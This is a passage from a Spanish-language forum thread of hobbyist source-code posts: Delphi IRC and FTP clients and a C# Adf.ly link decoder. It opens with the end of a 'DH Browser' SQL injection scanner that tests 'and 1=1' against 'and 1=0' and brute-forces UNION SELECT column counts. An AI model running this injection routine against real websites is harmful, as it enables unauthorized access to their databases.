        code := nave.Get(txtURL.Text + '1' + pass1 + 'and' + pass1 + '1=1' + pass2);

        codedos := nave.Get(txtURL.Text + '1' + pass1 + 'and' + pass1 +
          '1=0' + pass2);

        if not(code = codedos) then
        begin

          status.Panels[0].Text := '[+] Finding columns number';
          FormHome.status.Update;

          urltest := '1' + pass1 + 'and' + pass1 + '1=0' + pass1 + 'union' + pass1 +
            'select' + pass1 + 'concat(0x4b30425241,1,0x4b30425241)';
          urlgen := '1';
          for i := 2 to 36 do
          begin

            status.Panels[0].Text := '[+] Columns Length : ' + IntToStr(i);
            FormHome.status.Update;
            urltest := urltest + ',concat(0x4b30425241,' + IntToStr(i) +
              ',0x4b30425241)';
            urlgen := urlgen + ',' + IntToStr(i);
            code := nave.Get(txtURL.Text + urltest + pass2);

            regex_check.regex := 'K0BRA(.*?)K0BRA';
            regex_check.Subject := code;

            if regex_check.Match then
            begin

              urlgen := StringReplace(urlgen, regex_check.Groups[1], 'hackman', []);
              full := txtURL.Text + '1' + pass1 + 'and' + pass1 + '1=0' + pass1 +
                'union' + pass1 + 'select' + pass1 + urlgen;

              txtURL.Text := full;

              uno := navNoReadFromCache or navNoWriteToCache;
              dos := '';
              tres := '';

              if (cbUse_This_Headers.Checked) then
              begin
                cabeceras := mmHeaders.Text;
                browser.Navigate(txtURL.Text, uno, dos, tres, cabeceras);
              end
              else
              begin
                cabeceras := '';
                browser.Navigate(txtURL.Text, uno, dos, tres, cabeceras);
              end;
              status.Panels[0].Text := '[+] SQI Scanner Finished';
              FormHome.status.Update;
              MessageBox(0, 'SQI Scanner Finished', 'DH Browser 1.0',
                MB_ICONINFORMATION);

              Abort;

            end;

          end;
          status.Panels[0].Text := '[-] Columns length not found';
          FormHome.status.Update;
          MessageBox(0, 'Columns length not found', 'DH Browser 1.0', MB_ICONERROR);
        end
        else
        begin
          status.Panels[0].Text := '[-] Not vulnerable';
          FormHome.status.Update;
          MessageBox(0, 'Not vulnerable', 'DH Browser 1.0', MB_ICONERROR);
        end;

        status.Panels[0].Text := '[+] Done';
        FormHome.status.Update;
      end
      else
      begin
        MessageBox(0, 'Enter URL', 'DH Browser 1.0', MB_ICONINFORMATION);
      end;

    end;

    end.

    // The End ?


    Si quieren bajar el programa lo pueden hacer de aca :

    SourceForge.
    Github.

    Eso seria todo.
#19
Programación General / [Delphi] IRC Manager 0.3
20 Agosto 2016, 00:29 AM
Un simple cliente para chatear en el IRC.

Una imagen :



El codigo :

Código (delphi) [Seleccionar]

// IRC Manager 0.3
// (C) Doddy Hackman 2016

unit irc;

interface

uses
  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  System.Classes, Vcl.Graphics,
  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, Vcl.ComCtrls, Vcl.Menus,
  Vcl.Imaging.pngimage, Vcl.ExtCtrls, IdContext, IdBaseComponent, IdComponent,
  IdTCPConnection, IdTCPClient, IdCmdTCPClient, IdIRC, PerlRegex, MMSystem,
  Vcl.ImgList, Vcl.Styles.Utils.ComCtrls, Vcl.Styles.Utils.Menus,
  Vcl.Styles.Utils.SysStyleHook,
  Vcl.Styles.Utils.SysControls, Vcl.Styles.Utils.Forms,
  Vcl.Styles.Utils.StdCtrls, Vcl.Styles.Utils.ScreenTips;

type
  TFormHome = class(TForm)
    status: TStatusBar;
    gbIRC_Config: TGroupBox;
    lblHost: TLabel;
    txtHost: TEdit;
    lblPort: TLabel;
    txtPort: TEdit;
    lblChannel: TLabel;
    txtChannel: TEdit;
    lblNick: TLabel;
    gbChat: TGroupBox;
    gbNicks: TGroupBox;
    lbNicks: TListBox;
    txtNickname: TEdit;
    btnConnect: TButton;
    gbEnterText: TGroupBox;
    txtText: TEdit;
    btnSend: TButton;
    logo: TImage;
    mmChat: TRichEdit;
    irc: TIdIRC;
    ilIconos: TImageList;
    procedure btnConnectClick(Sender: TObject);
    procedure ircRaw(ASender: TIdContext; AIn: Boolean; const AMessage: string);
    procedure btnSendClick(Sender: TObject);
    procedure ircPrivateMessage(ASender: TIdContext;
      const ANickname, AHost, ATarget, AMessage: string);
    procedure ircNotice(ASender: TIdContext; const ANickname, AHost, ATarget,
      ANotice: string);
    procedure ircJoin(ASender: TIdContext;
      const ANickname, AHost, AChannel: string);
    procedure ircPart(ASender: TIdContext; const ANickname, AHost, AChannel,
      APartMessage: string);
    procedure ircQuit(ASender: TIdContext;
      const ANickname, AHost, AReason: string);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
    logs_messages: Boolean;
  end;

var
  FormHome: TFormHome;

implementation

{$R *.dfm}

procedure TFormHome.btnConnectClick(Sender: TObject);
begin
  if (btnConnect.Caption = 'Connect') then
  begin

    irc.nickname := txtNickname.text;
    irc.AltNickname := txtNickname.text + '123';
    irc.Username := txtNickname.text;
    irc.RealName := txtNickname.text;
    irc.Password := '';
    irc.host := txtHost.text;
    irc.port := StrToInt(txtPort.text);

    mmChat.Lines.Clear;
    lbNicks.Items.Clear;
    logs_messages := False;

    try
      begin
        mmChat.Lines.Add('Connecting ...');
        irc.connect;
        irc.Join(txtChannel.text);
        btnConnect.Caption := 'Disconnect';
        status.Panels[0].text := '[+] Connected';
        FormHome.status.Update;
        mmChat.Lines.Add('Connected !');
      end;
    except
      begin
        status.Panels[0].text := '[-] Error connecting to server';
        FormHome.status.Update;
        mmChat.Lines.Add('Error connecting to server !');
        MessageBox(0, 'Error connecting to server', 'IRC Manager 1.0',
          MB_ICONERROR);
      end;
    end;
  end
  else
  begin
    if (btnConnect.Caption = 'Disconnect') then
    begin
      irc.Part('');
      irc.Disconnect('');
      btnConnect.Caption := 'Connect';
      status.Panels[0].text := '[+] Disconnected';
      FormHome.status.Update;
      mmChat.Lines.Add('Disconnected !');
    end;
  end;

end;

procedure TFormHome.btnSendClick(Sender: TObject);
begin
  if not(txtText.text = '') then
  begin
    irc.Say(txtChannel.text, txtText.text);
    mmChat.Lines.Add('<' + txtNickname.text + '> ' + txtText.text);
    txtText.text := '';
  end;
end;

procedure TFormHome.FormClose(Sender: TObject; var Action: TCloseAction);
begin
  if mrYes = MessageDlg('Close program ?', mtwarning, [mbYes, mbNo], 0) then
  begin
    Exit;
  end
  else
  begin
    Action := caNone;
  end;
end;

procedure TFormHome.FormCreate(Sender: TObject);
begin
  UseLatestCommonDialogs := False;
end;

procedure TFormHome.ircJoin(ASender: TIdContext;
  const ANickname, AHost, AChannel: string);
begin
  lbNicks.Items.Add(ANickname);
  mmChat.Lines.Add(ANickname + ' has joined');
end;

procedure TFormHome.ircNotice(ASender: TIdContext;
  const ANickname, AHost, ATarget, ANotice: string);
begin
  // chat.Lines.Add('<' + ANickname + '> ' + ANotice);
end;

procedure TFormHome.ircPart(ASender: TIdContext;
  const ANickname, AHost, AChannel, APartMessage: string);
begin
  lbNicks.Items.Delete(lbNicks.Items.IndexOf(ANickname));
  mmChat.Lines.Add(ANickname + ' part');
end;

procedure TFormHome.ircPrivateMessage(ASender: TIdContext;
  const ANickname, AHost, ATarget, AMessage: string);
var
  check_regex: TPerlRegex;
begin

  check_regex := TPerlRegex.Create();

  check_regex.regex := txtNickname.text;
  check_regex.Subject := AMessage;
  check_regex.Options := [preCaseLess];

  if check_regex.Match then
  begin
    mmChat.SelAttributes.Color := clRed;
    mmChat.SelAttributes.Style := [fsBold];
    mmChat.Lines.Add('* <' + ANickname + '> ' + AMessage);
    sndPlaySound(Pchar(GetCurrentDir + '/Data/click.wav'), SND_NODEFAULT);
  end
  else
  begin
    mmChat.Lines.Add('<' + ANickname + '> ' + AMessage);
  end;

  check_regex.Free;

end;

procedure TFormHome.ircQuit(ASender: TIdContext;
  const ANickname, AHost, AReason: string);
begin
  lbNicks.Items.Delete(lbNicks.Items.IndexOf(ANickname));
  mmChat.Lines.Add(ANickname + ' quit');
end;

procedure TFormHome.ircRaw(ASender: TIdContext; AIn: Boolean;
  const AMessage: string);
var
  i: integer;
  code: string;
  renicks: string;
  listanow: TStringList;
  regex: TPerlRegex;
  otroregex: TPerlRegex;
  nick: string;
  texto: string;
begin

  code := AMessage;

  if (logs_messages = True) then
  begin
    mmChat.Lines.Add(code);
  end;

  regex := TPerlRegex.Create();
  otroregex := TPerlRegex.Create();

  regex.regex := '353 (.*) = #(.*) :(.*)';
  regex.Subject := code;

  if regex.Match then
  begin

    lbNicks.Clear;

    renicks := regex.Groups[3];

    renicks := StringReplace(renicks, txtNickname.text, '', []);

    listanow := TStringList.Create;
    listanow.Delimiter := ' ';
    listanow.DelimitedText := renicks;

    for i := 0 to listanow.Count - 1 do
    begin
      if not(listanow[i] = '@') then
      begin
        lbNicks.Items.Add(listanow[i]);
      end;
    end;

    lbNicks.Items.Add(txtNickname.text);

    logs_messages := False;

  end;

  otroregex.regex := 'PRIVMSG (.*) :ACTION (.*)';
  otroregex.Subject := code;

  if otroregex.Match then
  begin
    nick := otroregex.Groups[1];
    texto := otroregex.Groups[2];
    mmChat.Lines.Add('* ' + texto);
  end;

  regex.Free;
  otroregex.Free;

end;

end.

// The End ?


Si quieren bajar el programa lo pueden hacer de aca.
#20
Un cliente FTP en Delphi con las siguientes opciones :

  • Se puede conectar a cualquier servidor FTP
  • Navegar y listar los directorios de nuestra computadora
  • Navegar y listar los directorios del servidor FTP
  • Se puede crear,renombrar,eliminar archivos y directorios de nuestra computadora
  • Se puede crear,renombrar,eliminar archivos y directorios del servidor FTP
  • Se puede bajar y subir archivos del servidor FTP comodamente

    Una imagen :



    El codigo :

    Código (delphi) [Seleccionar]

    // FTP Manager 1.0
    // (C) Doddy Hackman 2016

    unit ftp;

    interface

    uses
      Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
      System.Classes, Vcl.Graphics,
      Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, Vcl.ComCtrls,
      IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
      IdExplicitTLSClientServerBase, IdFTP, Shellapi, Vcl.ImgList, IdFTPList,
      Vcl.Imaging.pngimage, Vcl.ExtCtrls, Vcl.Menus, Vcl.Styles.Utils.ComCtrls,
      Vcl.Styles.Utils.Menus,
      Vcl.Styles.Utils.SysStyleHook,
      Vcl.Styles.Utils.SysControls, Vcl.Styles.Utils.Forms,
      Vcl.Styles.Utils.StdCtrls, Vcl.Styles.Utils.ScreenTips;

    type
      TFormHome = class(TForm)
        gbFTP_Data: TGroupBox;
        lblHost: TLabel;
        txtHost: TEdit;
        lblUsername: TLabel;
        txtUsername: TEdit;
        lblPassword: TLabel;
        txtPassword: TEdit;
        btnConnect: TButton;
        gbMyFiles: TGroupBox;
        lblDirectory1: TLabel;
        txtMe_Directory: TEdit;
        btnListMe: TButton;
        lvLocalFiles: TListView;
        gbFTP_Files: TGroupBox;
        lblDirectory2: TLabel;
        txt_FTP_Directory: TEdit;
        btnList_FTP: TButton;
        lv_FTP_Files: TListView;
        btnUpload: TButton;
        btnDownload: TButton;
        directorios: TListBox;
        archivos: TListBox;
        status: TStatusBar;
        local_iconos: TImageList;
        ftp_client: TIdFTP;
        ftp_iconos: TImageList;
        progreso: TProgressBar;
        imgLogo: TImage;
        menu_local: TPopupMenu;
        MakeDirectory1: TMenuItem;
        Rename1: TMenuItem;
        Delete1: TMenuItem;
        Refresh1: TMenuItem;
        menu_ftp: TPopupMenu;
        MakeDirectory2: TMenuItem;
        Rename2: TMenuItem;
        Delete2: TMenuItem;
        Refresh2: TMenuItem;
        ilIconos: TImageList;
        procedure btnConnectClick(Sender: TObject);
        procedure btnListMeClick(Sender: TObject);
        procedure btnList_FTPClick(Sender: TObject);
        procedure btnUploadClick(Sender: TObject);
        procedure ftp_clientWork(ASender: TObject; AWorkMode: TWorkMode;
          AWorkCount: Int64);
        procedure ftp_clientWorkBegin(ASender: TObject; AWorkMode: TWorkMode;
          AWorkCountMax: Int64);
        procedure ftp_clientWorkEnd(ASender: TObject; AWorkMode: TWorkMode);
        procedure btnDownloadClick(Sender: TObject);
        procedure lvLocalFilesDblClick(Sender: TObject);
        procedure lv_FTP_FilesDblClick(Sender: TObject);
        procedure MakeDirectory1Click(Sender: TObject);
        procedure Rename1Click(Sender: TObject);
        procedure Delete1Click(Sender: TObject);
        procedure Refresh1Click(Sender: TObject);
        procedure FormCreate(Sender: TObject);
        procedure MakeDirectory2Click(Sender: TObject);
        procedure Rename2Click(Sender: TObject);
        procedure Delete2Click(Sender: TObject);
        procedure Refresh2Click(Sender: TObject);

      private
        { Private declarations }
      public
        { Public declarations }
      end;

    var
      FormHome: TFormHome;

    implementation

    {$R *.dfm}

    procedure listar(dirnownow: string; ListaDeArchivos: TListView;
      ListaDeIconos: TImageList);
    var
      buscar: TSearchRec;
      Icon: TIcon;
      listate: TListItem;
      getdata: SHFILEINFO;
      dirnow: string;

    begin

      if (DirectoryExists(dirnownow)) then
      begin
        ListaDeIconos.Clear;

        dirnow := StringReplace(dirnownow, '/', '\', [rfReplaceAll, rfIgnoreCase]);

        ListaDeArchivos.Items.Clear;
        Icon := TIcon.Create;
        ListaDeArchivos.Items.BeginUpdate;

        if FindFirst(dirnow + '*.*', faAnyFile, buscar) = 0 then
        begin
          repeat
            if (buscar.Attr = faDirectory) then
            begin

              with ListaDeArchivos do
              begin

                if not(buscar.Name = '.') and not(buscar.Name = '..') then
                begin

                  listate := ListaDeArchivos.Items.Add;

                  SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata,
                    SizeOf(getdata), SHGFI_DISPLAYNAME);
                  listate.Caption := getdata.szDisplayName;

                  SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata,
                    SizeOf(getdata), SHGFI_TYPENAME);
                  listate.SubItems.Add(getdata.szTypeName);

                  SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata,
                    SizeOf(getdata), SHGFI_ICON or SHGFI_SMALLICON);
                  Icon.Handle := getdata.hIcon;
                  listate.ImageIndex := ListaDeIconos.AddIcon(Icon);

                  DestroyIcon(getdata.hIcon);

                end;
              end;

            end;
          until FindNext(buscar) <> 0;
          FindClose(buscar);
        end;

        if FindFirst(dirnow + '*.*', faAnyFile, buscar) = 0 then
        begin
          repeat
            if (buscar.Attr <> faDirectory) then
            begin

              with ListaDeArchivos do
              begin

                listate := ListaDeArchivos.Items.Add;

                SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata,
                  SizeOf(getdata), SHGFI_DISPLAYNAME);
                listate.Caption := buscar.Name;

                SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata,
                  SizeOf(getdata), SHGFI_TYPENAME);
                listate.SubItems.Add(getdata.szTypeName);

                SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata,
                  SizeOf(getdata), SHGFI_ICON or SHGFI_SMALLICON);
                Icon.Handle := getdata.hIcon;
                listate.ImageIndex := ListaDeIconos.AddIcon(Icon);

                DestroyIcon(getdata.hIcon);

              end;

            end

            until FindNext(buscar) <> 0;
            FindClose(buscar);
          end;

          ListaDeArchivos.Items.EndUpdate;
        end;

      end;

      procedure listarftp(dirnownow2: string; ListaDeArchivosFTP: TListView;
        ftp: TIdFTP; DirectoriosEncontrados: TListBox;
        ArchivosEncontrados: TListBox);
      var
        i: integer;
        Item: TIdFTPListItem;
        listate2: TListItem;

      begin

        ListaDeArchivosFTP.Items.Clear;
        DirectoriosEncontrados.Clear;
        ArchivosEncontrados.Clear;

        listate2 := ListaDeArchivosFTP.Items.Add;

        ftp.ChangeDir(dirnownow2);
        ftp.List('*.*', True);

        for i := 0 to ftp.DirectoryListing.Count - 1 do
        begin

          Item := ftp.DirectoryListing.Items[i];
          if Item.ItemType = ditFile then
          begin
            DirectoriosEncontrados.Items.Add(ftp.DirectoryListing.Items[i]
              .FileName);
          end
          else
          begin
            ArchivosEncontrados.Items.Add(ftp.DirectoryListing.Items[i].FileName);
          end;

        end;

        ListaDeArchivosFTP.Items.Clear;

        for i := 0 to ArchivosEncontrados.Count - 1 do
        begin

          with ListaDeArchivosFTP do

          begin

            listate2 := ListaDeArchivosFTP.Items.Add;
            listate2.Caption := ArchivosEncontrados.Items[i];
            listate2.SubItems.Add('Directory');
            listate2.ImageIndex := 0;

          end;
        end;

        for i := 0 to DirectoriosEncontrados.Count - 1 do
        begin

          with ListaDeArchivosFTP do

          begin

            listate2 := ListaDeArchivosFTP.Items.Add;
            listate2.Caption := DirectoriosEncontrados.Items[i];
            listate2.SubItems.Add('File');
            listate2.ImageIndex := 1;

          end;
        end;

      end;

      procedure TFormHome.btnConnectClick(Sender: TObject);
      begin

        lv_FTP_Files.Items.Clear;

        directorios.Clear;
        archivos.Clear;

        if (btnConnect.Caption = 'Disconnect') then
        begin
          ftp_client.Disconnect;
          btnConnect.Caption := 'Connect';
          status.Panels[0].Text := '[+] Disconnected';
          FormHome.status.Update;
          txt_FTP_Directory.Text := '';
          MessageBox(0, 'Disconnected', 'FTP Manager 1.0', MB_ICONINFORMATION);
        end
        else
        begin

          ftp_client.host := txtHost.Text;
          ftp_client.username := txtUsername.Text;
          ftp_client.password := txtPassword.Text;

          try
            ftp_client.connect;
            btnConnect.Caption := 'Disconnect';
            status.Panels[0].Text := '[+] Connected';
            FormHome.status.Update;

            txt_FTP_Directory.Text := '/';
            listarftp(txt_FTP_Directory.Text, lv_FTP_Files, ftp_client, directorios,
              archivos);

            MessageBox(0, 'Connected', 'FTP Manager 1.0', MB_ICONINFORMATION);
          except
            status.Panels[0].Text := '[-] Error connecting to server';
            FormHome.status.Update;
            MessageBox(0, 'Error connecting to server', 'FTP Manager 1.0',
              MB_ICONERROR);
          end;
        end;

      end;

      procedure TFormHome.Delete1Click(Sender: TObject);
      var
        archivo: string;
      begin
        if Assigned(lvLocalFiles.Selected) then
        begin
          archivo := lvLocalFiles.Selected.Caption;
          if DeleteFile(txtMe_Directory.Text + '/' + archivo) then
          begin
            if not(txtMe_Directory.Text = '') then
            begin
              listar(txtMe_Directory.Text, lvLocalFiles, local_iconos);
            end;
            MessageBox(0, 'Deleted', 'FTP Manager 1.0', MB_ICONINFORMATION);
          end
          else
          begin
            MessageBox(0, 'Error', 'FTP Manager 1.0', MB_ICONERROR);
          end;
        end;
      end;

      procedure TFormHome.Delete2Click(Sender: TObject);
      var
        archivo: string;
      begin
        if Assigned(lv_FTP_Files.Selected) then
        begin
          archivo := lv_FTP_Files.Selected.Caption;
          ftp_client.ChangeDir(txt_FTP_Directory.Text);
          try
            begin
              ftp_client.Delete(archivo);
              if not(txt_FTP_Directory.Text = '') then
              begin
                listarftp(txt_FTP_Directory.Text, lv_FTP_Files, ftp_client,
                  directorios, archivos);
              end;
              MessageBox(0, 'Deleted', 'FTP Manager 1.0', MB_ICONINFORMATION);
            end;
          except
            MessageBox(0, 'Error', 'FTP Manager 1.0', MB_ICONERROR);
          end;
        end;
      end;

      procedure TFormHome.btnDownloadClick(Sender: TObject);
      var
        fileabajar: string;
      begin

        if Assigned(lv_FTP_Files.Selected) then
        begin
          try
            begin
              fileabajar := lv_FTP_Files.Selected.Caption;;
              ftp_client.OnWork := ftp_clientWork;
              ftp_client.ChangeDir(txt_FTP_Directory.Text);

              progreso.Max := ftp_client.Size(ExtractFileName(fileabajar)) div 1024;

              ftp_client.Get(fileabajar, txtMe_Directory.Text + '/' + fileabajar,
                False, False);

              if not(txtMe_Directory.Text = '') then
              begin
                listar(txtMe_Directory.Text, lvLocalFiles, local_iconos);
              end;

              MessageBox(0, 'Action completed successfully', 'FTP Manager 1.0',
                MB_ICONINFORMATION);
            end;
          except
            MessageBox(0, 'Error', 'FTP Manager 1.0', MB_ICONERROR);
          end;
        end
        else
        begin
          MessageBox(0, 'Select File to download', 'FTP Manager 1.0',
            MB_ICONINFORMATION);
        end;
      end;

      procedure TFormHome.FormCreate(Sender: TObject);
      begin
        UseLatestCommonDialogs := False;
        txtMe_Directory.Text := GetCurrentDir + '\';
        listar(txtMe_Directory.Text, lvLocalFiles, local_iconos);
      end;

      procedure TFormHome.ftp_clientWork(ASender: TObject; AWorkMode: TWorkMode;
        AWorkCount: Int64);
      begin
        status.Panels[0].Text := '[+] Working ...';
        FormHome.status.Update;

        progreso.Position := AWorkCount div 1024;
      end;

      procedure TFormHome.ftp_clientWorkBegin(ASender: TObject;
        AWorkMode: TWorkMode; AWorkCountMax: Int64);
      begin
        status.Panels[0].Text := '[+] Working ..';
        FormHome.status.Update;
      end;

      procedure TFormHome.ftp_clientWorkEnd(ASender: TObject; AWorkMode: TWorkMode);
      begin
        status.Panels[0].Text := '[+] Finished';
        FormHome.status.Update;
        progreso.Max := 0;
      end;

      procedure TFormHome.lv_FTP_FilesDblClick(Sender: TObject);
      begin
        if Assigned(lv_FTP_Files.Selected) then
        begin
          if (lv_FTP_Files.Selected.SubItems.Strings[0] = 'Directory') then
          begin
            ftp_client.ChangeDir(txt_FTP_Directory.Text +
              lv_FTP_Files.Selected.Caption + '/');
            listarftp(txt_FTP_Directory.Text + lv_FTP_Files.Selected.Caption + '/',
              lv_FTP_Files, ftp_client, directorios, archivos);
            txt_FTP_Directory.Text := ftp_client.RetrieveCurrentDir + '/';
          end;
        end
        else
        begin
          MessageBox(0, 'Write path', 'FTP Manager 1.0', MB_ICONINFORMATION);
        end;
      end;

      procedure TFormHome.btnList_FTPClick(Sender: TObject);
      begin
        if not(txt_FTP_Directory.Text = '') then
        begin
          listarftp(txt_FTP_Directory.Text, lv_FTP_Files, ftp_client, directorios,
            archivos);
        end
        else
        begin
          MessageBox(0, 'Write path', 'FTP Manager 1.0', MB_ICONINFORMATION);
        end;
      end;

      procedure TFormHome.btnListMeClick(Sender: TObject);
      begin
        if not(txtMe_Directory.Text = '') then
        begin
          listar(txtMe_Directory.Text, lvLocalFiles, local_iconos);
        end
        else
        begin
          MessageBox(0, 'Write path', 'FTP Manager 1.0', MB_ICONINFORMATION);
        end;
      end;

      procedure TFormHome.lvLocalFilesDblClick(Sender: TObject);
      begin
        if Assigned(lvLocalFiles.Selected) then
        begin
          if (DirectoryExists(txtMe_Directory.Text + lvLocalFiles.Selected.Caption +
            '/')) then
          begin
            Chdir(txtMe_Directory.Text + lvLocalFiles.Selected.Caption + '/');
            listar(txtMe_Directory.Text + lvLocalFiles.Selected.Caption + '/',
              lvLocalFiles, local_iconos);
            txtMe_Directory.Text := GetCurrentDir + '\';
          end;
        end
        else
        begin
          MessageBox(0, 'Select Path', 'FTP Manager 1.0', MB_ICONINFORMATION);
        end;
      end;

      procedure TFormHome.MakeDirectory1Click(Sender: TObject);
      var
        directorio: string;
      begin
        directorio := InputBox('FTP Manager 1.0', 'Directory : ', '');
        try
          begin
            MkDir(txtMe_Directory.Text + '/' + directorio);
            if not(txtMe_Directory.Text = '') then
            begin
              listar(txtMe_Directory.Text, lvLocalFiles, local_iconos);
            end;
            MessageBox(0, 'Directory created', 'FTP Manager 1.0',
              MB_ICONINFORMATION);
          end;
        except
          MessageBox(0, 'Error', 'FTP Manager 1.0', MB_ICONERROR);
        end;
      end;

      procedure TFormHome.MakeDirectory2Click(Sender: TObject);
      var
        directorio: string;
      begin
        directorio := InputBox('FTP Manager 1.0', 'Directory : ', '');
        try
          begin
            ftp_client.ChangeDir(txt_FTP_Directory.Text);
            ftp_client.MakeDir(directorio);
            if not(txt_FTP_Directory.Text = '') then
            begin
              listarftp(txt_FTP_Directory.Text, lv_FTP_Files, ftp_client,
                directorios, archivos);
            end;
            MessageBox(0, 'Directory created', 'FTP Manager 1.0',
              MB_ICONINFORMATION);
          end;
        except
          MessageBox(0, 'Error', 'FTP Manager 1.0', MB_ICONERROR);
        end;
      end;

      procedure TFormHome.Refresh1Click(Sender: TObject);
      begin
        if not(txtMe_Directory.Text = '') then
        begin
          listar(txtMe_Directory.Text, lvLocalFiles, local_iconos);
        end
        else
        begin
          MessageBox(0, 'Write path', 'FTP Manager 1.0', MB_ICONINFORMATION);
        end;
      end;

      procedure TFormHome.Refresh2Click(Sender: TObject);
      begin
        if not(txt_FTP_Directory.Text = '') then
        begin
          listarftp(txt_FTP_Directory.Text, lv_FTP_Files, ftp_client, directorios,
            archivos);
        end;
      end;

      procedure TFormHome.Rename1Click(Sender: TObject);
      var
        original, new_name: string;
      begin
        if Assigned(lvLocalFiles.Selected) then
        begin
          original := lvLocalFiles.Selected.Caption;
          new_name := InputBox('FTP Manager 1.0', 'New name : ', '');
          if RenameFile(txtMe_Directory.Text + '/' + original,
            txtMe_Directory.Text + '/' + new_name) then
          begin
            if not(txtMe_Directory.Text = '') then
            begin
              listar(txtMe_Directory.Text, lvLocalFiles, local_iconos);
            end;
            MessageBox(0, 'Changed', 'FTP Manager 1.0', MB_ICONINFORMATION);
          end
          else
          begin
            MessageBox(0, 'Error', 'FTP Manager 1.0', MB_ICONERROR);
          end;
        end;
      end;

      procedure TFormHome.Rename2Click(Sender: TObject);
      var
        original, new_name: string;
      begin
        if Assigned(lv_FTP_Files.Selected) then
        begin
          original := lv_FTP_Files.Selected.Caption;
          new_name := InputBox('FTP Manager 1.0', 'New name : ', '');
          try
            begin
              ftp_client.ChangeDir(txt_FTP_Directory.Text);
              ftp_client.Rename(original, new_name);
              if not(txt_FTP_Directory.Text = '') then
              begin
                listarftp(txt_FTP_Directory.Text, lv_FTP_Files, ftp_client,
                  directorios, archivos);
              end;
              MessageBox(0, 'Changed', 'FTP Manager 1.0', MB_ICONINFORMATION);
            end;
          except
            MessageBox(0, 'Error', 'FTP Manager 1.0', MB_ICONERROR);
          end;
        end;

      end;

      procedure TFormHome.btnUploadClick(Sender: TObject);
      var
        fileasubir: string;
        dirasubir: string;
        cantidad: File of byte;
      begin

        if Assigned(lvLocalFiles.Selected) then
        begin
          try
            begin
              fileasubir := txtMe_Directory.Text + lvLocalFiles.Selected.Caption;
              dirasubir := txt_FTP_Directory.Text;

              ftp_client.OnWork := ftp_clientWork;

              AssignFile(cantidad, fileasubir);
              Reset(cantidad);
              progreso.Max := FileSize(cantidad) div 1024;
              CloseFile(cantidad);

              ftp_client.ChangeDir(dirasubir);
              ftp_client.Put(fileasubir, lvLocalFiles.Selected.Caption, False);

              if not(txt_FTP_Directory.Text = '') then
              begin
                listarftp(txt_FTP_Directory.Text, lv_FTP_Files, ftp_client,
                  directorios, archivos);
              end;

              MessageBox(0, 'Action completed successfully', 'FTP Manager 1.0',
                MB_ICONINFORMATION);
            end;
          except
            MessageBox(0, 'Error', 'FTP Manager 1.0', MB_ICONERROR);
          end;
        end
        else
        begin
          MessageBox(0, 'Select File to upload', 'FTP Manager 1.0',
            MB_ICONINFORMATION);
        end;
      end;

    end.

    // The End ?


    Si quieren bajar el programa lo pueden hacer de aca.
#21
Un programa en C# para decodificar una URL de Adf.ly , este programa esta basado en la funcion publicada en VB.Net por fudmario para lograr esta tarea.

Tiene dos opciones , la primera es para decodificar una unica URL y la otra es para decodificar varias URLS en un archivo de texto.

Una imagen :



El codigo :

Código (csharp) [Seleccionar]

// Adf.ly Killer 0.5
// (C) Doddy Hackman 2016
// Credits : Thanks to fudmario

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.Text.RegularExpressions;
using Microsoft.VisualBasic;
using System.IO;

namespace Adf.ly_Killer
{
   public partial class FormHome : Form
   {
       public FormHome()
       {
           InitializeComponent();
       }

       private void btnExit_Click(object sender, EventArgs e)
       {
           Application.Exit();
       }

       public string base64_encode(string texto)
       {
           return System.Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(texto));
       }

       public string base64_decode(string texto)
       {
           return System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String(texto));
       }

       private Boolean check_link(string link)
       {
           Match regex = Regex.Match(link, "adf.ly", RegexOptions.IgnoreCase);
           if (regex.Success)
           {
               return true;
           }
           else
           {
               return false;
           }
       }

       private string adfly_decode(string link_to_decode)
       {
           string link_decoded = "";
           DH_Tools tools = new DH_Tools();
           string code = tools.toma(link_to_decode);
           Match regex = Regex.Match(code, "var ysmm = '(.*?)';", RegexOptions.IgnoreCase);
           if (regex.Success)
           {
               string link = regex.Groups[1].Value;
               string left = "";
               string right = "";
               for (int i = 0; i < link.Length; i++)
               {
                   if (i % 2 == 0)
                   {
                       left = left + Convert.ToString(link[i]);
                   }
                   else
                   {
                       right = Convert.ToString(link[i]) + right;
                   }
               }
               string link_encoded = base64_decode(left + right);
               string link_ready = link_encoded.Substring(2);
               link_decoded = link_ready;

           }
           if (link_decoded == "")
           {
               link_decoded = "???";
           }
           return link_decoded;
       }

       private void btnKill_Click(object sender, EventArgs e)
       {
           txtResult.Text = "";
           if (txtEnterLink.Text != "")
           {
               if (check_link(txtEnterLink.Text))
               {
                   status.Text = "[+] Decoding ...";
                   this.Refresh();
                   string result = adfly_decode(txtEnterLink.Text);
                   if (result != "???")
                   {
                       txtResult.Text = result;
                       status.Text = "[+] Link Decoded";
                       this.Refresh();
                   }
                   else
                   {
                       txtResult.Text = "Not Found";
                       status.Text = "[-] Not Found";
                       this.Refresh();
                   }
               }
               else
               {
                   status.Text = "[-] Link Invalid";
                   this.Refresh();
               }
           }
           else
           {
               status.Text = "[-] Enter Link to decode";
               this.Refresh();
           }
       }

       private void btnCopy_Click(object sender, EventArgs e)
       {
           try
           {
               Clipboard.Clear();
               Clipboard.SetText(txtResult.Text);
               status.Text = "[+] Link copied to clipboard";
               this.Refresh();
           }
           catch
           {
               //
           }
       }

       private void miAddLink_Click(object sender, EventArgs e)
       {
           string link = Interaction.InputBox("Enter Link : ", "Adf.ly Killer 0.5", "");
           if (link != "")
           {
               if (check_link(link))
               {
                   ListViewItem item = new ListViewItem();
                   item.Text = link;
                   item.SubItems.Add("...");
